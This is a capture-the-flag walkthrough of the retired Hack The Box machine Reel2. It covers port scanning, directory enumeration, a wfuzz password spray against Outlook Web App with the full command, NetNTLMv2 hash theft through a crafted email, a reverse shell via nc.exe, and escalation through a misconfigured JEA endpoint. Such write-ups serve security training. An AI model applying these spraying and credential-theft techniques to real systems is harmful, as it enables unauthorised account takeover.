This post documents the complete walkthrough of Reel2, a retired vulnerable VM created by cube0x0, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
Reel2 is a retired vulnerable VM from Hack The Box.
Information Gathering
Let’s start with a masscan
probe to establish the open ports in the host.
# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.210 --rate=500
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-10-08 13:59:42 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.10.210
Discovered open port 6010/tcp on 10.10.10.210
Discovered open port 6198/tcp on 10.10.10.210
Discovered open port 6245/tcp on 10.10.10.210
Discovered open port 6115/tcp on 10.10.10.210
Discovered open port 6002/tcp on 10.10.10.210
Discovered open port 6220/tcp on 10.10.10.210
Discovered open port 5985/tcp on 10.10.10.210
Discovered open port 6279/tcp on 10.10.10.210
Discovered open port 6012/tcp on 10.10.10.210
Discovered open port 6221/tcp on 10.10.10.210
Discovered open port 6167/tcp on 10.10.10.210
Discovered open port 6001/tcp on 10.10.10.210
Discovered open port 6287/tcp on 10.10.10.210
Discovered open port 8080/tcp on 10.10.10.210
Discovered open port 6243/tcp on 10.10.10.210
Discovered open port 6307/tcp on 10.10.10.210
Discovered open port 6004/tcp on 10.10.10.210
Discovered open port 6250/tcp on 10.10.10.210
Discovered open port 6007/tcp on 10.10.10.210
Discovered open port 6317/tcp on 10.10.10.210
Discovered open port 6006/tcp on 10.10.10.210
Discovered open port 6270/tcp on 10.10.10.210
Discovered open port 6008/tcp on 10.10.10.210
Discovered open port 443/tcp on 10.10.10.210
Discovered open port 6276/tcp on 10.10.10.210
Discovered open port 6192/tcp on 10.10.10.210
Discovered open port 6011/tcp on 10.10.10.210
Discovered open port 6274/tcp on 10.10.10.210
Discovered open port 6234/tcp on 10.10.10.210
Discovered open port 6199/tcp on 10.10.10.210
Discovered open port 6301/tcp on 10.10.10.210
Discovered open port 6005/tcp on 10.10.10.210
Whoa, that’s a lot of open ports. Let’s do one better with nmap
scanning the discovered ports to establish their services.
# nmap -n -v -Pn -p80,443,5985,6001,6002,6004,6005,6006,6007,6008,6010,6011,6012,6115,6167,6192,6198,6199,6220,6221,6234,62
43,6245,6250,6270,6274,6276,6279,6287,6301,6307,6317,8080 -A --reason 10.10.10.210 -oN nmap.txt
...
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 8.5
|_http-server-header: Microsoft-IIS/8.5
|_http-title: 403 - Forbidden: Access is denied.
443/tcp open ssl/https? syn-ack ttl 127
|_ssl-date: 2020-10-08T14:11:23+00:00; 0s from scanner time.
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
6001/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
6002/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
6004/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
6005/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
6006/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
6007/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
6008/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
6010/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
6011/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
6012/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
6115/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
6167/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
6192/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
6198/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
6199/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
6220/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
6221/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
6234/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
6243/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
6245/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
6250/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
6270/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
6274/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
6276/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
6279/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
6287/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
6301/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
6307/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
6317/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
8080/tcp open http syn-ack ttl 127 Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.2.32)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.2.32
|_http-title: Welcome | Wallstant
Yeah, it’s a Windows machine alright.
SSL Certificate
Check out the SSL certificate for possible hostnames.
I’d better put Reel2
, Reel2.htb
and Reel2.htb.local
into /etc/hosts
.
Directory/File Enumeration
Let’s see what gobuster
and SecLists
can uncover for us for each of the http
services.
80/tcp
# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 20 -e -s 200,301,302 -u http://Reel2/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://Reel2/
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Status codes: 200,301,302
[+] User Agent: gobuster/3.0.1
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2020/10/09 10:06:44 Starting gobuster
===============================================================
http://Reel2/owa (Status: 301)
===============================================================
2020/10/09 10:06:49 Finished
===============================================================
443/tcp
# gobuster dir -k -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 20 -e -s 200,301,302 -u https://Reel2/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: https://Reel2/
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Status codes: 200,301,302
[+] User Agent: gobuster/3.0.1
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2020/10/09 10:07:23 Starting gobuster
===============================================================
https://Reel2/aspnet_client (Status: 301)
https://Reel2/public (Status: 302)
https://Reel2/exchange (Status: 302)
https://Reel2/owa (Status: 301)
https://Reel2/autodiscover (Status: 301)
https://Reel2/ecp (Status: 301)
===============================================================
2020/10/09 10:07:29 Finished
===============================================================
Looks like we have Outlook Web App running. I thought it looked like an older version.
8080/tcp
# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 20 -e -s 200,301,302 -u http://Reel2:8080/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://Reel2:8080/
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Status codes: 200,301,302
[+] User Agent: gobuster/3.0.1
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2020/10/09 10:07:48 Starting gobuster
===============================================================
http://Reel2:8080/js (Status: 301)
http://Reel2:8080/includes (Status: 301)
http://Reel2:8080/media (Status: 301)
http://Reel2:8080/login (Status: 200)
http://Reel2:8080/logout (Status: 302)
http://Reel2:8080/page (Status: 301)
http://Reel2:8080/css (Status: 301)
http://Reel2:8080/config (Status: 301)
http://Reel2:8080/home (Status: 302)
http://Reel2:8080/index (Status: 200)
http://Reel2:8080/search (Status: 302)
http://Reel2:8080/imgs (Status: 301)
http://Reel2:8080/signup (Status: 200)
http://Reel2:8080/messages (Status: 301)
http://Reel2:8080/u (Status: 301)
http://Reel2:8080/posts (Status: 301)
http://Reel2:8080/_database (Status: 301)
http://Reel2:8080/langs (Status: 301)
http://Reel2:8080/notifications (Status: 302)
http://Reel2:8080/settings (Status: 302)
===============================================================
2020/10/09 10:08:08 Finished
===============================================================
And Wallstant too.
Scraping credentials
According to Wallstant,
When you sign up to the first time into your social network, you will be the main admin of website and you can add more admins from Dashboard > users > Edit/Delete.
I’m pretty sure I’ll not be the fist to sign up Well, here’s what you get after signing up.
Notice the user profile pages on the right? Looks like usernames to me. Here’s a list based on popular first name, last name conventions. Typing them out is a lot faster than writing a script to generate them.
sven.svensson
sven_svensson
s.svensson
s_svensson
sven.s
sven_s
lars.larsson
lars_larsson
l.larsson
l_larsson
lars.l
lars_l
jenny.adams
jenny_adams
j.adams
j_adams
jenny.a
jenny_a
teresa.trump
terasa_trump
t.trump
t_trump
teresa.t
teresa_t
Next up, check out the posts for them passwords. I’ll use keywords from the posts to create a wordlist and apply some JtR rules to it to generate a list of passwords.
fika
@egre55
summer
hot!
I’m using KoreLogicRulesAppendYears (I’ve updated it to include common birth years from 1900 to 2029).
[List.Rules:KoreLogicRulesAppendYears]
cAz"19[0-9][0-9]"
Az"19[0-9][0-9]"
cAz"20[012][0-9]"
Az"20[012][0-9]"
Let’s get to work.
# /opt/john/john --rules:KoreLogicRulesAppendYears -w:wordlist.txt --stdout > passwords.txt
Press 'q' or Ctrl-C to abort, almost any other key for status
1040p 0:00:00:00 100.00% (2020-10-09 11:04) 104000p/s hot!2029
Not too shabby. I got a list of 1,040 passwords.
Password spraying OWA with wfuzz
I’m going to use the credentials (usernames.txt
and passwords.txt
) above to password-spray OWA with wfuzz
, with a total of 24,960 combinations. I have a good feeling about this.
# wfuzz -L -p 127.0.0.1:8080 -w usernames.txt -w passwords.txt -d "destination=https%3A%2F%2Freel2%2Fowa%2Fauth.owa&flags=0&forcedownlevel=0&trusted=0&username=FUZZ&password=FUZ2Z&isUtf8=1" -t 40 --hs "isn't correct" -H "Cookie: PBack=0" https://reel2/owa/auth.owa
********************************************************
* Wfuzz 3.0.1 - The Web Fuzzer *
********************************************************
Target: https://reel2/owa/auth.owa
Total requests: 24960
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000002963: 400 0 L 2 W 11 Ch "s.svensson - Summer2020"
Total time: 0
Processed Requests: 24960
Filtered Requests: 24959
Requests/sec.: 0
Bingo! Let’s see if it checks out.
Sweet.
Harvesting NetNTLMv2 hashes
Recall the OWA looking old? Turns out that it’s possible to craft an email that allows us to steal NetNTLMv2 hashes without requiring any interaction from the user. Clicking the email to preview it is enough for the hashes to be stolen. For some reason, OWA hates Firefox—I had to use Chromium to send an email to all users in the Global Address List like so.
On the other hand, I had responder
running…
Cracking the hash offline is insanely fast.
We have a new pair of credentials (k.svensson:kittycat1
).
Foothold
Armed with the credentials (k.svensson:kittycat1
), we should be able to use the PowerShell Docker image quickbreach/powershell-ntlm
to get ourselves a shell. Note: The usual weapon of choice evil-winrm
didn’t work here, neither did pwsh
from Kali Linux.
One small problem though. This PowerShell is restricted—common commands isn’t available. Well, we can always use PowerShell scriptblock to bypass that restriction.
Voila! The file user.txt
is expectedly at k.svensson
’s desktop.
Privilege Escalation
Let’s transfer a copy of nc.exe
from Kali Linux to the machine to get rid of the PowerShell command restriction.
Once that’s done we have ourselves another reverse shell.
Just Enough Administration (JEA)
According to Microsoft,
Just Enough Administration (JEA) is a security technology that enables delegated administration for anything managed by PowerShell.
We see that there are two JEA files: a role capability file (.psrc) and a session configuration file (.pssc).
@{
# ID used to uniquely identify this document
GUID = '08c0fdac-36ef-43b5-931f-68171c4c8200'
# Author of this document
Author = 'cube0x0'
# Description of the functionality provided by these settings
# Description = ''
# Company associated with this document
CompanyName = 'Unknown'
# Copyright statement for this document
Copyright = '(c) 2020 cube0x0. All rights reserved.'
# Modules to import when applied to a session
# ModulesToImport = 'MyCustomModule', @{ ModuleName = 'MyCustomModule'; ModuleVersion = '1.0.0.0'; GUID = '4d30d5f0-cb16-4898-812d-f20a6c596bdf' }
# Aliases to make visible when applied to a session
# VisibleAliases = 'Item1', 'Item2'
# Cmdlets to make visible when applied to a session
# VisibleCmdlets = 'Invoke-Cmdlet1', @{ Name = 'Invoke-Cmdlet2'; Parameters = @{ Name = 'Parameter1'; ValidateSet = 'Item1', 'Item2' }, @{ Name = 'Parameter2'; ValidatePattern = 'L*' } }
# Functions to make visible when applied to a session
# VisibleFunctions = 'Invoke-Function1', @{ Name = 'Invoke-Function2'; Parameters = @{ Name = 'Parameter1'; ValidateSet = 'Item1', 'Item2' }, @{ Name = 'Parameter2'; ValidatePattern = 'L*' } }
# External commands (scripts and applications) to make visible when applied to a session
# VisibleExternalCommands = 'Item1', 'Item2'
# Providers to make visible when applied to a session
# VisibleProviders = 'Item1', 'Item2'
# Scripts to run when applied to a session
# ScriptsToProcess = 'C:\ConfigData\InitScript1.ps1', 'C:\ConfigData\InitScript2.ps1'
# Aliases to be defined when applied to a session
# AliasDefinitions = @{ Name = 'Alias1'; Value = 'Invoke-Alias1'}, @{ Name = 'Alias2'; Value = 'Invoke-Alias2'}
# Functions to define when applied to a session
FunctionDefinitions = @{
'Name' = 'Check-File'
'ScriptBlock' = {param($Path,$ComputerName=$env:COMPUTERNAME) [bool]$Check=$Path -like "D:\*" -or $Path -like "C:\ProgramData\*" ; if($check) {get-content $Path}} }
# Variables to define when applied to a session
# VariableDefinitions = @{ Name = 'Variable1'; Value = { 'Dynamic' + 'InitialValue' } }, @{ Name = 'Variable2'; Value = 'StaticInitialValue' }
# Environment variables to define when applied to a session
# EnvironmentVariables = @{ Variable1 = 'Value1'; Variable2 = 'Value2' }
# Type files (.ps1xml) to load when applied to a session
# TypesToProcess = 'C:\ConfigData\MyTypes.ps1xml', 'C:\ConfigData\OtherTypes.ps1xml'
# Format files (.ps1xml) to load when applied to a session
# FormatsToProcess = 'C:\ConfigData\MyFormats.ps1xml', 'C:\ConfigData\OtherFormats.ps1xml'
# Assemblies to load when applied to a session
# AssembliesToLoad = 'System.Web', 'System.OtherAssembly, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'
}
@{
# Version number of the schema used for this document
SchemaVersion = '2.0.0.0'
# ID used to uniquely identify this document
GUID = 'd6a39756-aa53-4ef6-a74b-37c6a80fd796'
# Author of this document
Author = 'cube0x0'
# Description of the functionality provided by these settings
# Description = ''
# Session type defaults to apply for this session configuration. Can be 'RestrictedRemoteServer' (recommended), 'Empty', or 'Default'
SessionType = 'RestrictedRemoteServer'
# Directory to place session transcripts for this session configuration
# TranscriptDirectory = 'C:\Transcripts\'
# Whether to run this session configuration as the machine's (virtual) administrator account
RunAsVirtualAccount = $true
# Scripts to run when applied to a session
# ScriptsToProcess = 'C:\ConfigData\InitScript1.ps1', 'C:\ConfigData\InitScript2.ps1'
# User roles (security groups), and the role capabilities that should be applied to them when applied to a session
RoleDefinitions = @{
'htb\jea_test_account' = @{
'RoleCapabilities' = 'jea_test_account' } }
# Language mode to apply when applied to a session. Can be 'NoLanguage' (recommended), 'RestrictedLanguage', 'ConstrainedLanguage', or 'FullLanguage'
LanguageMode = 'NoLanguage'
}
Looks like jea_test_account
has just enough administrative rights to cat
contents from D:\*
or C:\ProgramData\*
. If I had to guess, I would say that I need to find jea_test_account
’s password for PS Remoting.
I found a file that contains the string “jea_test_account
”.
You know how Windows suck at displaying non-ASCII data, so I transferred a copy of the file over to Linux for a better inspection.
Looks like someone wrote the password of jea_test_account
on the Sticky Notes! We now have jea_test_account
’s credentials (jea_test_account:[email protected]^%@#1
).
Getting root.txt
Armed with the credentials, we can PS-Remote in and since we are running this session as the machine’s (virtual) administrator account, we can create a symbolic link (a hard one, a.k.a Direction Junction) between C:\Users\Administrator\Desktop
to C:\ProgramData\<Name>
, and read off root.txt
directly with Check-File
.
Let’s create that hard symbolic link.
And PS-Remote in as jea_test_account
.
Finally, read root.txt